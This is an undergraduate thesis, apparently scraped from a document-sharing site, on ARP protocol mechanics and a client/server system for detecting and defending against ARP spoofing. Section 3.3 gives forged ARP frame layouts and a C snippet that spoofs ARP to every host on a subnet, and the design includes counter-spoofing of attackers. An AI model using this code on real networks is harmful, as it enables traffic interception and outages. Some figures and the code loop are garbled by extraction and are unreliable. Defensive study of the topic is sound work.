您好,欢迎来到99网。
搜索
您的当前位置:首页本科毕业论文-网络安全方面

本科毕业论文-网络安全方面

来源:99网
本科毕业论文-网络安全方面

摘 要

网络的迅速发展,给人类生活带来方便,但也对网络安全提出了更高要求。需对网络协议进一步分析,才能够更加有效的安全的应用网络协议。ARP协议是TCP/IP协议中重要的一员,其功能主要是为局域网内网络设备提供IP地址向硬件地址(MAC地址)的转化,其设计建立在局域网内网络设备之间相互信任的基础上,对于不可信任的设备未加考虑,由此产生了许多ARP欺骗攻击方法。

本文以ARP协议为基本原理,以防御ARP欺骗、提高网络安全为目的。首先,在对TCP/IP参考模型、ARP协议等相关理论学习的基础上,重点分析了ARP协议的运行机制,包括ARP缓存、ARP帧格式、ARP请求和应答的运行过程等。其次,分析了ARP欺骗原理,ARP欺骗就是通过向目标主机发送一个伪造的包含IP-MAC映射信息的ARP应答报文实现的。最后,根据Windows系统在更新ARP缓存中IP地址和MAC地址映射信息时不检验更新内容可靠性的特点,提出了一种基于服务器客户端的ARP欺骗防御模型,以达到局域网中实现各主机防御ARP欺骗的目的。本软件使用Visual C++6.0作为开发工具,采用Winpcap(Windows Packet Capture)进行网络监视,来实现各种功能要求。 关键词:ARP欺骗攻击 ;Visual C++ 6.0 ;监控 ;Protect;服务器 ;客户端

Abstract

The rapid development of the network, to human life, but also bring convenience to network security raised taller requirement. The need for further analysis of network protocols, it can be more effective application of security protocols. ARP protocol is TCP / IP protocol an important one, and its main function is to provide network equipment for

the LAN IP address to hardware address (MAC address) of the conversion, its design based on the local area network equipment based on mutual trust between the For non-trusted device is not considered, so lots of ARP spoofing attack method.

In this paper, the basic principle of ARP protocol to guard against ARP cheating, improve network security purposes. First of all, in the TCP / IP reference model, ARP protocol and other related theoretical study, based on ARP protocol analyzed the operation of mechanisms, including ARP cache, ARP frame format, ARP request and response operation processes. Secondly, the analysis of the principle of ARP deception, ARP deception is through to the target host to send a fake IP-MAC mapping contains information on ARP response packet to achieve. Finally, under Windows system ARP cache updating the IP address and MAC address mapping information when the update does not test the

reliability of the characteristics of Neirong, a server-based client ARP deception defense model in order to achieve LAN ARP cheating achievement of the host defense purposes. The software uses the Visual C + +6.0 as development tools, using Winpcap (Windows Packet Capture) for network monitoring, to achieve a variety of functional requirements.

Keywords: ARP attack ;Visual C++ 6.0 ;Monitor ;Protect ;Server ; Client 目录 第一章 概

述 ........................................................... 1

1.1课题来

源 .......................................................... 1

1.2国内外研究现

状 .................................................... 2

1.3课题分

析 .......................................................... 2 第二章 TCP/IP协议及ARP地址解析协议概述 .................................. 4

2.1 TCP/IP协议分

析 ................................................... 4

2.1.1TCP/IP简

介 ................................................................................................... 4

2.1.2TCP/IP协议结

构 ........................................................................................... 4

2.1.3数据包的封

装 ............................................................................................... 5

2.2 ARP工作原

理 ...................................................... 6

2.2.1ARP协

议 ......................................................... 6

2.2.2ARP缓冲

区 ................................................................................................... 8

2.2.3ARP报文格

式 ............................................................................................... 9 第三章 ARP欺骗分析及测试 ................................................ 15

3.1ARP欺骗模型 ...................................................... 15

3.2常见的ARP攻击手段 ............................................... 16

3.3ARP网关欺骗代码实现 .............................................. 16

3.3.1伪造ARP包结

构 ........................................................................................ 16

3.3.2遍历整个网络的实现方

法 .......................................................................... 18 第四章 防御ARP欺骗系统总体的设计 ....................................... 19

4.1 系统设计思想 .................................................... 19

4.2系统设计框架 ..................................................... 19

4.2.1通信系统模

型 ............................................................................................. 19

4.2.2服务器端及客户端设

计 .............................................................................. 20 第五章 系统分析设

计 ..................................................... 21

5.1系统分析 ......................................................... 21

5.1.1系统的可行

性 ............................................................................................. 21

5.1.2系统目标及功能分

析 .................................................................................. 22

5.1.3系统模

型 ..................................................................................................... 23

5.2系统设计 ......................................................... 24

5.2.1设计思想及系统结构

图 .............................................................................. 24

5.2.2模块数据流结构

图...................................................................................... 25

5.2.3系统流程

图 ................................................................................................. 27 总

结 .................................................................... 29 (一) 总

结 ............................................................. 29 (二) 遇到的问题及解决 ................................................. 29 致 谢 .................................................................. 32 参考文献 ................................................................ 33 附

录 .................................................................... 34

第一章 概 述 1.1课题来源

[1]课题《ARP欺骗监控系统的设计与实现》来源于实际网络的安全应用。因为随着网络建设步伐的加快和网络应用的日益广泛,网络用户的数量也在不断增多。互联网(Internet)已经成为人们成为人们生活的一部分。我们要辩证的看待互联网,它是一把双刃剑,一方面给用户带来了方便,另一方面使得维护和保证网络安全变得困难,网络安全方面的问题也越来越突出,其中内部网(局域网内)的安全风险最为严重。内部员工对自身企业网络结构、应用比较熟悉,自己攻击或泄漏重要

信息,内外勾结,都将可能成为致命的威胁。因此研究内部网络用户的监控技术变得极为迫切,对用于监听、查看用户行为的需求不断增加。

在目前存在的种类繁多的受攻击状况中,其中一种就是ARP欺骗攻击。由于以太网络的ARP协议是一个不安全的协议,是直接和用户使用的网络设备交互的协议。ARP协[2]议是建立在信任局域网内所有结点的基础上的,它很高效,但却不安全。它是无状态态的协议,不会检查自己是否发过请求包,也不管(其实也不知道)是否是合法的应答,只要收到目标MAC是自己的 ARP 应答包或 ARP广播包(包括 ARP request和ARP reply),都会接受并缓存,这就为ARP欺骗提供了可能。恶意节点构造并发布虚假的ARP

[3]中间人“,截获用户的数据。为了提供报文从而影响网内结点的通信,甚至可以做“

正常的安全的通信服务,我们提出该课题,通过对ARP欺骗的进行监控来防御并解决已

[3]发生攻击现象的局域网环境,提出了一种基于服务器客户端的ARP欺骗防御模型,以达到局域网中实现各主机防御ARP欺骗的目的。

1

1.2国内外研究现状

随着网络的飞速发展,Internet的迅速普及,网络已经深入到了我们的生活,信息安全和网络安全的越来越被关注,实时的了解和掌握网络的使用情况和网络中传输的各种数据的要求也越来越高。通过得到的网络内部传输的数据来判断网络的安全。

近几年来,许多人投入到这一领域上来,在网络监控软件上取得了一些成绩。国内的有网络哨兵,360安全卫士等。就国内来说,网络监控的研究刚刚起步,为了解网络的实时情况,对存在的网络安全威胁进行处理,各研究机构和企业相应研

究和开发了一些应用系统来防范网络上的一些非法行为,但在产品的可靠性,检测的准确性方面,与国外的产品还有一定得距离,这些都需要进一步的研究来解决。因为ARP协议设计的不完善致使攻击的普遍存在。在监控软件中,ARP攻击的欺骗监控防御最为普遍。

1.3课题分析

该系统也就是一个局域网管理软件,可以监控网络用户的行为,利用winpcap捕获用户数据包,分析ARP包,当发现有非法行为后,利用ARP欺骗阻断其与Internet的联系(反欺骗手段)从而达到管理局域网的目的。系统应用于实际的局域网网络,必须符合大多数用户的使用要求,方便用户的操作,这也符合课题中的该系统是一个可视化窗口界面系统的要求,所以需要选择一种可视化的开发工具,在选择开发工具时,首先必须选择开发的系统环境,比如windows环境,或者Linux环境,在这里我选择了windows编程技术中常用的开发平台Visual C++ 6.0来实现开发的。系统主要是根据网络安全应用的具体实行情况而设计的,涉及到底层ARP地址解析协议的相关知识,需要windows平台上的winpcap类来完成底层操作,其主要需要完成以下三部分功能:监控ARP网关

2

欺骗功能,保护本机到网关之间通信功能及修复这个网络的功能。另外需要把握一个核心就是得到正确的网关MAC地址,通过该系统的设计深刻理解ARP协议同时运用各种技术来弥补ARP协议的缺陷。

3

第二章 TCP/IP协议及ARP地址解析协议概述 2.1 TCP/IP协议分析 2.1.1TCP/IP简介

TCP/IP协议是 Internet进行通信的基础 ,只有深入理解了 TCP/IP基本概念、工

[5]作原理 ,才能更好的掌握和理解Internet,理解网络通信原理。TCP/IP协议它由两个个部分组成,一个是用来检测网络传输中差错的传输控制协议(TCP),当检测到传输中有差错时,它能产生重发信号,源端收到该信号后就重新传输发生差错的包,通过这种差错重传机制保证数据正确传输到目的地;另一个是专门负责对不同网络进行互联的互联网协议(IP)。TCP/IP协议设计的基本原则:每一个的网络必须按自己的标准建立起来,当这个网络和互联网连接时,不需要对其内部做任何改动。网络应该在最佳状态下完成通信。如果一个信包没有到达目的地,最初发出信包的结点将很快重发该信包。网络之间通过网关和路由器设备进行互相连接。

2.1.2TCP/IP协议结构

TCP/IP协议是一个四层协议,协议的每层对上一层是透明的,例如说,应用层只负责应用程序之间的通信规则,完全不必理会数据是怎样在网络中传输,也不必理会怎样

4

接入网络。而对于网络接口层来说,它完全不需要知道正在传送的是什么数据。协议的透明性给我们提供了更加简便的开发思想。我们不需要了解内部数据的具体情况,从而缩短了开发周期。TCP/IP网络协议栈分为应用层(Application)、传输层(Transport)、

[6]。 网络层(Network)和链路层(Link)四层。图2.1所示 应用层各种应用协议 TCPUDP传输层 IP网络层

网络接口层设备驱动程序及接口卡 图2.1 TCP/IP协议是一个四层协议 2.1.3数据包的封装

当应用程序传送数据时数据被送入协议栈,然后逐个通过每一层直到被当作一串比特流送入网络。其中每一层对收到的数据都要增加一些首部信息(有时还要增加尾部信息),如图2.2所示。例如在本课题中要求知道正确的网关MAC地址,可以通过在局域网中设置一台主机为存储正确网关MAC地址的主机,运行软件时只需监测主机向该主机申请网关MAC地址。基本实现方法就是建立一应用程序,一层一层的添加头部信息,发送到监测主机,然后监测主机在进行解析,得到用户数据(正确的网关MAC地址)。图2.2显示了数据包的封装过程。传输层及其以下的通信机制由内核提供,应用层由用户进程提供,应用程序对通信数据的含义进行解释,可以认为是应用层之间的协议。应用层数据通过协议栈发到网络上时,每层协议都要加上一个数据首部(header),称为封

5

[7]。 装(Encapsulation) 应用程序用户数据 APPL首部用户数据 TCP

TCP首部应用数据 TCP段IP

IP首部TCP首部应用数据

IP数据以太网驱包动程序以太网头部IP首部TCP首部应用数据 以太网帧

图2.2数据包封装

2.2 ARP工作原理 2.2.1ARP协议

ARP协议是常用的TCP/IP底层协议。在以太网中进行IP通信的时候需要一个协议来建立IP地址与MAC地址的对应关系,以使IP数据包能发到一个确定的地方去。这就是ARP(Address Resolution Protocol,地址解析协议)。ARP帧共有42位,加上18位

[8]填充位以及4位CRC,组成位物理帧。格式如图2.3所示。 6

发接目源硬协送收的以硬协件议操端端发接以帧太件议地地作以以送收太类网类类址址字太太端端网型地长长网网IPIP型型段地地地址度度址址址

66222112

图2.3ARP请求与应答包报文格式

ARP协议的工作过程:当一个基于TCP/IP的应用程序需要从一台主机发送数据给另一台主机时,它把信息分割并封装成包,附上目的主机的IP地址。然后,寻找IP地址到实际MAC地址的映射,这需要发送ARP数据包消息。当ARP找到了目的主机MAC地址后,就可以形成待发送帧的完整以太网帧头。最后,协议栈将IP包封装到以太网帧中进行传送。如图2.4所示,描述了ARP广播过程。在图2.4中,当主机A要和主机B通信(如主机A Ping主机B)时。主机A会先检查其ARP缓存内是否有主机B的MAC地址。如果没有,主机A会发送一个ARP请求广播包,此包内包含着其欲与之通信的主机的IP地址,也就是主机B的IP地址。当主机B收到此广播后,会将自己的MAC地址利用ARP响应包传给主机A,并更新自己的ARP缓存,也就是同时将主机A的IP地址/MAC地址对保存起来,以供后面使用。主机A在得到主机B的MAC地址后,就可以与主机B通信了。同时,主机A也将主

机B的IP地址/MAC地址对保存在自己的ARP缓存内也就是后面对应的ARP缓冲表。

7

ARP响应包IP地址:90.0.116.130MAC地址:11-11-11-11-11-11 以太网

ARP请求广播包IP地址:90.0.116.131MAC地址:22-22-22-22-22-22

Host AHost BHost CIP地址 90.0.116.130IP地址 90.0.116.131IP地址90.0.116.132MAC地址11-11-11-11-11-11MAC地址22-22-22-22-22-22MAC地址33-33-33-33-33-33

图2.4 ARP广播 2.2.2ARP缓冲区

在工作站PC的windows环境中,ARP条目的寿命是2分钟。 在工作站PC的Windows环境中,可以使用命令arp -a查看当前的ARP缓存,如图3所示。为了能够人工的修改ARP缓存,可以使用arp –d来删除ARP缓存里面存放的IP-MAC地址对。IP-MAC地址对也就是电脑里存储的关于IP地址与MAC地址的对应关系,dynamic表示是临时存储在ARP缓存中的条目,过一段时间就会超时被删除(具体时间不同操作系统不同)。Static表示是静态存储在ARP缓存中的条目,不会因为超时而被删除,这也为我们设计保护本机通信提供了一些方法依据。

8

图2.5 Windows环境下,命令arp -a的输出 2.2.3ARP报文格式 [9]2.2.3.1 IP-MAC映射

每个网卡都有自己全球唯一的MAC地址,它们是以MAC地址来传输以太网数据包的,它们不可能识别IP包中的IP地址,实际上网卡把收到的包提交到协议栈的缓冲,成为链路层包,再分离出IP层的包,再分离出TCP ,UDP„。发送包则是相反的过程,进行添加头部信息。

2.2.3.2ARP包的格式

一个ARP包是分为两个部分的,前面一个是物理帧头或EtherHeader,后面一个才

[10]是ARP帧或ArpFrame。首先,物理帧头,它将存在于任何一个协议数据包的前面,,叫DLC Header,因为这个帧头是在数据链路层构造的,并且其主要内容为收发双方的

9

物理地址(MAC地址),以便硬件设备识别。表2.1对局域网内所有的主机MAC地址进行广播,包括:接收方的MAC地址、发送方MAC地址、网络的类型这里就是以太网默认值为(0X0806)。因为这里说的是广播数据则接收MAC地址为ff-ff-ff-ff-ff-ff。另需填充是发送方的MAC地址。

表2.1物理帧头格式 DLC Header

字段 长度(Byte) 默认值 备注 接收方MAC 6 广播时, 为ff-ff-ff-ff-ff-ff 发送方MAC 6 Etnertype 2 0x0806 0X0806是ARP帧的类型值

[11]就行设置同一结构体中的数据和结构体的设置如下: 采用C语言中的枚举类型

enum{ MAC_ADDR_LEN = 6, // mac地址的长度 IP_ADDR_LEN = 4 // IP地址的长度}; typedef struct

{ unsigned char eh_dst[MAC_ADDR_LEN]; //以太网目的地址 unsigned char eh_src[MAC_ADDR_LEN]; //以太网源地址 unsigned short eh_type; //以太网类型,默认0x0806 char data[1];//字符指针用来执行ARP头部 } ETH_t, *pETH_t;

下面是ARP帧,硬件类型、上层协议类型等都是些固定的数值,针对常用的以太网,只需设置为默认值即可,硬件类型以太网类型值默认为0x1,上层协议类型为IP协议默认值为0x0800,Mac地址长度为6,IP地址长度对于IP4,IP地址长度为4。,操作码就是请求和应答,其他MAC地址和IP地址根据发送接收的关系来填写。

表2.2 ARP帧格式 10 ARP Frame

字段 长度(byte) 默认值 备注 硬件类型 2 0x1 以太网类型值 上层协议类型 2 0x0800 上层协议为IP协议 Mac地址长1 0x6 以太网Mac地址长度为6

IP地址长度 1 0x4 IP地址长度为4

操作码 2 0x1表示ARP请求包,0x2表示应答包 发送方Mac 6 发送方Ip 4 接受方Mac 6 接收Ip 4

填充数据 18 物理帧至少为字节前面的42字节加上4 个校验字节还差18个字节 2.2.3.3ARP包的填充

对于ARP包分为两种:一种是ARP请求包,另一种是ARP应答包。 (?)请求包的填充

比如电脑MAC地址为 aa-aa-aa-aa-aa-aa,IP为 192.168.0.1需查询 192.168.0.99的MAC地址。首先填充DLC Header,想要知道某个主机对应的MAC地 址是要给全网发送广播的,所以接收方MAC肯定是 ff-ff-ff-ff-ff-ff,如表2.3所示。

表2.3 ARP请求包中的DLC帧头 11

字段 长度(Byte) 填充值

接收方MAC 6 Ffffffffffff 发送发MAC 6 Aaaaaaaaaaaa Ethertype 2 0x0806

[12],很多字接下来是请求包的ARP帧,由前面的填充包中,知道针对交换式以太网字段是默认的数据如硬件类型等。需要填写只有三种数据:请求包的操作码、发送方的MAC地址和IP地址、接收方的MAC地址和IP地址。在不知道接收方MAC地址的情况下,对于接收方MAC填入任意值就行,不起作用,对于其它的MAC地址和IP地址按照对应

。 关系填写,具体格式如表2.4所示 表2.4 ARP请求包中 ARP帧 ARP Frame

字段 长度(byte) 填充值 硬件类型 2 1

上层协议类型 2 0x0800 Mac地址长度 1 6 IP地址长度 1 4

操作码 2 1

发送方Mac 6 Aaaaaaaaaaaa 发送方Ip 4 192.168.0.1//fakeip 接受方Mac 6 任意值xxxxxxxxxxxx 接收Ip 4 192.168.0.99 填充数据 18 0

如果我们构造一个这样的包发送出去,如果 192.168.0.99存在且是活动的,我们马上就会收到一个192.168.0.99发来的一个响应包,我们可以查看一下我们的ARP缓

12

存列表(查看方法开始-运行-cmd-输入arp-a)得到如下的信息列表。 192.168.0.99 bb-bb-bb-bb-bb-bb dynamic

这里假设192.168.0.99(MAC为 bb-bb-bb-bb-bb-bb)这样192.168.0.99的ARP缓存中就会多了一条关于我们192.168.0.1的地址映射。

(2) 响应包的填充

比如说给 192.168.0.99(MAC为 bb-bb-bb-bb-bb-bb)发一个ARP响应包,告诉它请求电脑的MAC地址为 aa-aa-aa-aa-aa-aa。这时接收方的MAC地址和发送方的MAC地址互换,接收方MAC地址为Bbbbbbbbbbbb,发送方的MAC地址为Aaaaaaaaaaaa,以太网类型还为0x0806,如表2.5所示。

表2.5 ARP响应包中 DLC Header内容 DLC Header

字段 长度(Byte) 填充值 接收方MAC 6 Bbbbbbbbbbbb 发送方MAC 6 Aaaaaaaaaaaa Ethernet 2 0x0806

需要填写只有三种数据:请求包的操作码、发送方的MAC地址和IP地址、接收方的MAC地址和IP地址。MAC地址和IP地址按照对应关系填写,具体格式如表2.6所示。

13

表2.6 ARP响应包中ARP帧的内容

ARP Frame 字段 长度(byte) 填充值 硬件类型 2 1 上层协议类型 2 0x0800 Mac地址长度 1 6 IP地址长度 1 4 操作码 2 2

发送方Mac 6 Aaaaaaaaaaaa 发送方Ip 4 192.168.0.1 接受方Mac 6 bbbbbbbbbbbb 接收Ip 4 192.168.0.99 填充数据 18 0

14

第三章 ARP欺骗分析及测试 3.1ARP欺骗模型

网络设备无法识别ARP包的真伪,而且也不能识别,如果基本的约定都是假的,会带来致命的灾难。如果按照ARP的格式来发送数据包,只要信息有效计算机就会根据包中的内容做相应的反应,如果操纵网卡设备发送数据和掌握包的格式,便可以做欺骗攻击。路由器中有一个IP地址也就是网关IP。现在存在多台主机连接在路由器上,这里只是说明网关欺骗技术的基本原理。基本系统模型:多台主机通过交换机互连,再通过

错误~未找路由器连接到Internet上,这一基本构架是实现网关欺骗的基本模型,如图3.1到引用源。[13]所示。

路由器

IP:192.168.1.1 MAC:00-17-df-4a-f4-00

交换机

PC1攻击PC2肉机PC3

IP:192.168.1.3IP:192.168.1.2IP:192.168.1.4

MAC:00-0f-1f-c7-e3-3dMAC:00-0f-1f-c7-e3-3cMAC:00-a7-3d-c7-e3- 图3.1基本系统模型 15

3.2常见的ARP攻击手段

常见的ARP攻击为两种类型:ARP扫描和ARP欺骗。ARP扫描(ARP请求风暴)通讯模式(可能): 请求 -> 请求 -> 请求 -> 请求 -> 请求 -> 请求 -> 应答 -> 请求 -> 请求 -> 请求... 描述: 网络中出现大量ARP请求广播包,几乎都是对网段内的所有主机进行扫描。大量的ARP请求广播可能会占用网络带宽资源;ARP扫描一般为ARP攻击的前奏。 出现原因(可能): 病毒程序,侦听程序,扫描程序。

:ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARPARP欺骗

应答数据包的时候,就会对本地的ARP缓存进行更新,将应答中的IP和MAC地址存储在ARP缓存中。所以在网络中,有人发送一个自己伪造的ARP应答,网络可能就会出现问题。

3.3ARP网关欺骗代码实现 3.3.1伪造ARP包结构

首先,要把构造的数据包发送到整个局域网上,所以接收方的MAC地址应该为ff-ff-ff-ff-ff-ff,发送方MAC地址,可以通过开始->运行->cmd->ipconfig/all查询,以太网类型为0x0806,物理帧头的设置如表3.1所示。

16

表3.1 物理帧头格式 DLC Header

字段 长度(Byte) 填充值 接收方MAC 6 广播时,为ff-ff-ff-ff-ff-ff 发送方MAC 6 自己的MAC地址 Ethernet 2 0x0806是ARP帧的类型值 对于构造的欺骗包的ARP Frame的结构,如表3.2所示。这里采用了一种比较巧妙

的方法就是通过全网段扫描的方法,通过IP和NETMASK(子网掩码)进行与运算实现得到

接收方的IP地址,从而实现全网的欺骗。通过发送构造包可实现网关欺骗攻击。

表3.2 ARP请求包中 ARP帧 ARP Frame

字段 长度(byte) 填充值 硬件类型 2 1 上层协议类型 2 0x0800 Mac地址长度 1 6 IP地址长度 1 4

操作码 2 1 发送方Mac 6 自己的MAC 发送方Ip 4 192.168.0.1 //fakeip 接受方Mac 6 任意值xxxxxxxxxxxx

接收Ip 4 IP跟NETMASK形成的地址 填充数据 18 0 17

3.3.2遍历整个网络的实现方法

这段代码是实现遍历整个网络的核心代码,要把构造的数据包发送到局域网中传输,需要知道三个地址MAC地址,fakeIp地址,destIP地址,通过getselfmac地址可以得到MAC地址,要伪造的IP地址,通常是已知的,现在要做的就是知道目的Ip,基本思想就是通过一个全网段遍历程序来实现全网段扫描。假设对于所在网络的子网掩码是已知的,则我们可以得到子网地址(通过Ip和子网掩码netmask进行相与得到),而又可通过子网掩码得到网络中的主机数,则这样就能实现遍历。

unsigned long netsize = ntohl(~netmask); //网络中主机数 unsigned long net = ip & netmask; //子网地址 for(unsigned long n=1; n//第i台主机的IP地址,网络字节顺序 unsigned long destIp = net | htonl(n);

//构建假的ARP请求包,达到本机伪装成给定的IP地址的目的 packet = BuildArpPacket(mac,fakeIp,destIp); } 18

第四章 防御ARP欺骗系统总体的设计 4.1 系统设计思想

为了保护局域网的正常通信,只要有正确的IP-MAC地址对,则用户就能够进行正常的通信服务。那么只要在一个局域网内用一台服务器来保存网关的MAC地址,在进行通信之前,客户端先与服务器进行连接,把正确的Mac地址传给客户端,然后客户端与

[13]网关进行正常的通信。本章节介绍的防御ARP欺骗系统的基本模型是常用的C/S模型。

4.2系统设计框架

在客户端,需要填入正确的网关MAC地址,而在攻击存在的条件下,不知道正确的网关MAC地址为多少,那么就需要通过在服务器保存的正确的网关MAC地址传给客户端来保障网关MAC地址正确。,这就涉及到应用程序的通信问题。下图展示了通过socket实现客户机和服务器之间进行通信的结构模型。为了实现局域网内部,与多台主机进行通信,服务器采用一监听套接字来实现端口的监听,然后再通过通讯套接字,客户端创建连接套接字两个进行连接,再进行数据传输。最后,在通信完成后关闭套接字。

4.2.1通信系统模型 19

错误~未找到引用源。[15]。 客户端与服务器之间的通信连接如图4.1所示 服务器客户端

Socket()Socket() Bind()建 Connect()立 连

接Listen() Write() accept()

Read()Read()请求服务 Write()服务响应 关闭Socket

图4.1一点与多点通信 4.2.2服务器端及客户端设计

应用程序之间进行通信时,在客户端和服务器运行不同的应用程序,通过应用程序传输正确网关MAC。在编写相应程序时,只需按照上流程图,一步一步编写相关程序。把服务器Socket套接字的监听的端口和客户端Socket套接字的连接端口,设置成一致,为通信提供通道。注意,在通信完成后必须关闭套接字,以免一起内存不足或者不可读的错误。

20

第五章 系统分析设计

系统的分析是非常重要的,是设计产品的一个很重要的基础,是进行软件程序开发前必不可缺少的理论依据之一。要从多个方面进行分析,其中可行性最为重要。

5.1系统分析 5.1.1系统的可行性

在需要设计的ARP欺骗监控系统的设计是基于现在广泛存在的ARP欺骗攻击提出的。面对复杂多变的局域网环境,我们需要考虑系统实现的可行性。进行可行性判断的目的就是用最小的代价在尽可能短的时间内确定问题是否能够解决。必须要注意的是,可行性研究的目的不是解决问题,而是确定问题是否值得去解。所以就要分析几种主要的可能解法的利弊,从而判断原定的系统目标和规模是否可以实现。因此,对研究课题可行性研究实质上是要进行一次压缩简化了的系统分析和设计的过程。

对每种办法都应该仔细研究它的可行性,一般说来,至少应该从下述二方面研究每种方法的可行性:

(1)技术可行性 使用现有的技术基本可以实现这个系统,系统要求可视化,我们可以联想到很多可视化的设计开发工具(如VC,VB等)。对于底层的接口,因为我们使用的windows系统,所以我们可以通过winpcap来实现底层的一些操作。所以技术上比较可行。

21

(2)经济可行性 这个系统的经济可行性,花费成本主要就是PC机开发程序,基本上没有其他费用,成本比较廉价。另外,系统开发完成之后可以投入实际的局域网监控,比较实用。

当然,可行性研究最根本的任务是对以后的工作方针提出建议要求。应该寻找一个较好的解决方案,并且为工程制定一个初步的规划。为此,我先对ARP底层协议进行了详细的理解,又仔细阅读和分析有关的材料,解决了目标系统的一些和约束,同时也确定了该系统是可行的。对于该系统确定了基本的实现思想,比对ARP缓冲表里实时更新的数据跟服务器中保存的正确的MAC地址,得到攻击欺骗是否存在。以三个模板为系统开发方向来实现可视化功能,输入数据(需要的各种地址如IP地址和MAC地址等)、 处理数据(主要是抓包分析)、显示处理数据得到的

结果,每个模块都具有可行性,从这为以后的工作奠定了方向基础,有效的缩短了开发系统的周期。

5.1.2系统目标及功能分析

随着网络的发展,网络安全的问题也日趋严重。维护网络安全(特别是局域网),一项重要技术就是网络的实时监控。通过对网络上的所有数据进行捕获并对其进行检查分析,以便找出所关心的网络中潜在的问题,做出精确的问题判断。通过界面图形和各类数据进行输入输出内容显示,使用户可以监测整个局域网网络的运行和使用状态。

该系统完成的是ARP欺骗监控是个软件系统,任何一个软件系统本质上都是信息流系统,系统必须处理的信息流和系统应该产生的信息流,信息流的控制很大程度上决定了系统的好坏,对软件设计有深远影响,因此,在对系统的功能分析过程中,应该划出系统必须完成的所有功能,分析各种数据的流向,从而做出模块化的程序。

首先,我们必须实现可视化,对于大多数使用者来说,不是专业的操作人员,而且由于系统涉及到网络安全的问题,可能给他人造成损害,所以我们需要对其进行相应的

22 设计区别。

1(能够满足普通用户操作的基本需求。

主要就是基本功能,实现监控局域网内的ARP欺骗,该用户不需要设置相关的配置文件。只需要选择主机的网关,对于无线,我们可以选择无线网关即可,然后系统进行自动的监测。

2(能够满足专业用户操作的需求。

为了修复网络,我们需要相关的配置信息,所以这方面的功能设置为专业人员的功能操作,修复网络采用欺骗攻击的原来实现的,可能给攻击主机带来一段时间的“掉线”现象,所以需专业人员进行,操作不当可能会造成局域网瘫痪。

5.1.3系统模型

[14]本系统设计模型如图5.1所示框图所示。基本要求局域网环境,四台主机连接在交换机上,通过路由器连接到Internet上。攻击主机作用产生ARP欺骗攻击(主要是指网关欺骗),监测主机主要作用就是监测攻击主机伪造的MAC地址。由于通常伪造被攻击主机MAC地址的目的是为了捕获被攻击主机的数据包,所以通常伪造为攻击主机的MAC地址,可以通过监测功能追踪到其MAC地址,进行击修复网络。存有正确网关MAC地址的主机则是充当了网络管理员的角色,对局域网的网关MAC地址进行配置。其他主机则为肉机,充当被攻击主机。

23

路由器同一局域网其他主机 攻击主机交换机

监测主机存有正确网关MAC的主机 图5.1ARP欺骗监测系统模型

设计模型中存有正确网关MAC地址的主机是监测主机中配置文件中配置MAC地址中的核心,得到正确网关MAC地址是本系统的核心。

5.2系统设计

5.2.1设计思想及系统结构图

ARP欺骗监控系统是通过将网卡打开相应的网卡,从局域网中上接收一切向它发送的ARP请求包,然后解析数据包报文头中各字段的意义,从而分析数据帧以及所使用的协议的类型,得到发送包中的发送MAC地址与ARP缓冲表里的MAC地址进行比对从而监测攻击是否存在,显示监测结果。

下图中显示了本系统中应用的基本的数据信息:子网掩码,本地IP,本地MAC地址,网关MAC地址,网关IP,伪造MAC地址,然后通过模块化的控制方案来实现每项功能。

24

局域网ARP欺骗监控系统 子网掩码 本地IP地址 基本

功能显示输入模块本地MAC地址模块模块 网关IP地址

监测模块修复模块保护模块伪造网关MAC地址 特殊方法得到网关MAC地址 图5.2ARP欺骗监控系统结构图 5.2.2模块数据流结构图

通过输入信息,我们可以得到正确的网关IP,网关MAC地址,相应的进行IP比对和MAC地址比对,即可得到是否存在欺骗。比对方法:可以通过查看ARP缓存里面的数据得到实时的网关的IP地址和网关的MAC地址,确定正确的地址与实时的进行比对,从而得到答案。

25

正确网关IP地址 IP欺骗,IP比对 假网关IP地址 相等

正确网关MAC地址

不相等

MAC欺骗,MACIP比对比对 假网关MAC地址 相等 攻击存在

图5.3ARP欺骗监测模块数据信息流结构图

保护本机通信也就是绑定本地到网关之间的通信,从而防止ARP欺骗攻击的入侵,使得主机和网关之间进行可靠的通信,图5.4所示。

网关IP

绑定通信得到正确的网关MAC地址 本地IP

图5.4保护本机通信模块数据信息流结构图

得到正确的网关MAC地址是保障通信的先决条件。得到正确MAC地址方法采用C/S模型,在局域网内设置一台服务器来存放正确的网关MAC地址,通过建立应用程序之间建立通信协议,在服务器和客户端之间传输正确的MAC地址。下图给出了一种得到正确

26

网关MAC地址的辅助措施。通过不断发送响应包,比对MAC地址两者一样就是正确的MAC地址,反之,则为错误的MAC地址。

输入网关IP连续发送构造请求包路由器 发送响应包

连续极短时间显示正确的MAC地址

图5.5辅助得到正确MAC数据信息流结构图

当攻击存在时,为了修复网络采用击手段,监控主机构造含有伪造MAC地址的数据包发送给攻击主机,是攻击主机从网络中分离出来,从而恢复网络通信。

输入伪造MAC地址

影响攻击主机使之不能与网关通信构造包目标主机 图5.6修复已被破坏网络模块数据信息流结构图 5.2.3系统流程图 27 开始 定义数据结构 初始化界面 打开网卡

输入各种信息数据构造欺骗包 绑定本机网关之间通信 Send packet

不断的解析数据包得到发送 主机MAC地址是否相等, NY发送数据包ping –n 1到网关 攻击存在修复 保护

网关显示相关信息构造响应包 得到MAC地址

不断的解析数据包得到发送Y主机MAC地址是否相等, N攻击存在

5.7系统流程图 28 总结 (一) 总结

本系统针对ARP攻击的原理,利用服务器和客户端的体系结构,通过服务器给客户端发送正确的网关MAC地址,与ARP缓冲表中的数据进行比较得到结果,基本达到预期程序设计的目的,但是在程序的可靠性上还有待进一步的加强,程序的功能和界面比较简单,因此在以后的学习中,通过用户应用的反应更进一步的完善程序的设计将成为工作的重点。

(二) 遇到的问题及解决

在成功的测试之后,还必须进一步诊断和改正程序中的错误,这就是调试的任务。具体地说,调试过程有两个步骤组成,它从表示程序中存在错误的某些迹象开始,首先确定错误的准确位置,也就是找出是哪个模块或哪些接口引起的错误;然后,仔细研究这段代码以确定问题的原因,并设法改正错误。在调试阶段遇到了几个问题,但最终通过查阅资料和老师的帮助,问题得到了解决:

1、安装完WPCAP3.0后,在程序中写入该头文件在运行的时候报错如下。 Output Window Compiling... ArpCheaterDlg.cpp

E:\\bszyj\\ArpCheater\\ArpCheater\\ArpCheater\\ArpCheaterDlg.cpp(11) : fatal error

C1083: Cannot open include file: 'PCAP.h': No such file or directory Error executing cl.exe. Results

ArpCheaterDlg.obj - 1 error(s), 0 warning(s) 解决方法:

选择菜单->tools->Options->Directories,选择wpcap文件的相应文件配置相关的

29

